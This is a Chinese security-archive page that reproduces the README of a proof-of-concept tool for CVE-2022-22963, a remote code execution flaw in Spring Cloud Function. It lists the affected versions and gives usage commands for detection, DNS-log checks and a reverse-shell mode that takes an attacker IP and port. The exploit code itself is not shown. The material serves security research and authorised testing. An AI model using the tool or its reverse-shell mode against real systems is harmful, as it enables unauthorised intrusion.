目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2022-22963 PoC — Spring Framework 代码注入漏洞

来源
关联漏洞
标题:Spring Framework 代码注入漏洞 (CVE-2022-22963)
Description:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞。目前暂无该漏洞信息,请随时关注CNNVD或厂商公告。
Description
CVE-2022-22963-poc
介绍
# CVE-2022-22963 漏洞检测与利用工具
![License](https://img.shields.io/badge/license-MIT-blue.svg)
![Python](https://img.shields.io/badge/python-3.6%2B-blue)

## 漏洞简介

CVE-2022-22963 是 Spring Cloud Function 中的一个远程代码执行漏洞。该漏洞存在于 Spring Cloud Function 的路由功能中,攻击者可以通过发送特制的 HTTP 请求,利用 SpEL 表达式注入执行任意代码。

受影响版本:
- Spring Cloud Function < 3.1.7
- Spring Cloud Function < 3.2.3

## 工具功能

本工具提供以下功能:
- 漏洞检测:验证目标系统是否存在 CVE-2022-22963 漏洞
- DNSLOG 验证:通过 DNS 请求验证漏洞的可利用性
- 反弹 Shell:利用漏洞获取目标系统的反弹 Shell

## 环境要求

- Python 3.6+
- 依赖库:requests

安装依赖:
```bash
pip install requests
```

## 使用方法

### 基本用法

```bash
python3 CVE-2022-22963.py -u <目标URL> [选项]
```

### 参数说明

#### 基本参数
| 参数 | 说明 |
|------|------|
| `-h, --help` | 显示帮助信息 |
| `-u, --url` | 目标URL |
| `-v, --check` | 检测漏洞 |

#### 漏洞利用参数
| 参数 | 说明 |
|------|------|
| `-m, --mode {dnslog,shell}` | 利用方式: dnslog或shell |
| `-i, --ip` | 反弹shell的IP地址 |
| `-d, --dns` | dnslog网址 |

#### 高级选项
| 参数 | 说明 |
|------|------|
| `-p, --port` | 反弹shell端口 (默认: 9999) |
| `-t, --timeout` | 请求超时时间(秒) (默认: 5) |

## 使用示例

### 漏洞检测

```bash
python3 CVE-2022-22963.py -u http://example.com -v
```

### DNSLOG 验证

```bash
python3 CVE-2022-22963.py -u http://example.com -m dnslog -d your-domain.dnslog.cn
```

### 反弹 Shell

```bash
python3 CVE-2022-22963.py -u http://example.com -m shell -i your-server-ip -p 9999
```

## 工具演示

### 1. 漏洞检测

![漏洞检测](https://github.com/xmqaq/CVE-2022-22963/assets/50257557/d8cf5807-7c5e-405c-9643-570523159761)

### 2. DNSLOG 验证

![DNSLOG验证1](https://github.com/xmqaq/CVE-2022-22963/assets/50257557/2401bacc-d0a4-46e9-a860-a58414d24c26)

![DNSLOG验证2](https://github.com/xmqaq/CVE-2022-22963/assets/50257557/a93fc69d-e8e3-4c8d-a10c-d274216370bc)

### 3. 反弹 Shell

![反弹Shell1](https://github.com/xmqaq/CVE-2022-22963/assets/50257557/b5a1dd93-9940-4742-a174-6df594b3fda6)

![反弹Shell2](https://github.com/xmqaq/CVE-2022-22963/assets/50257557/e4da3b1b-ceda-4ffa-b0c3-95afeacfa332)

## 更新日志

- 2023.12.28: 初始版本发布
- 2025.10.9: 代码重构,优化参数处理和错误处理

## 作者

- xmqaq

## 免责声明

本工具仅用于**安全研究、授权测试和教育目的**。使用本工具进行任何未经授权的测试或攻击行为是违法的,可能导致严重的法律后果。

使用本工具即表示您同意:
1. 仅在获得明确授权的系统上使用本工具
2. 遵守所有适用的法律法规
3. 对使用本工具造成的任何后果负完全责任

作者不对任何人因使用本工具而直接或间接导致的任何损失或损害承担责任。

**请负责任地使用本工具!**

## 许可证

本项目采用 MIT 许可证 - 详情请参阅 [LICENSE](LICENSE) 文件

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →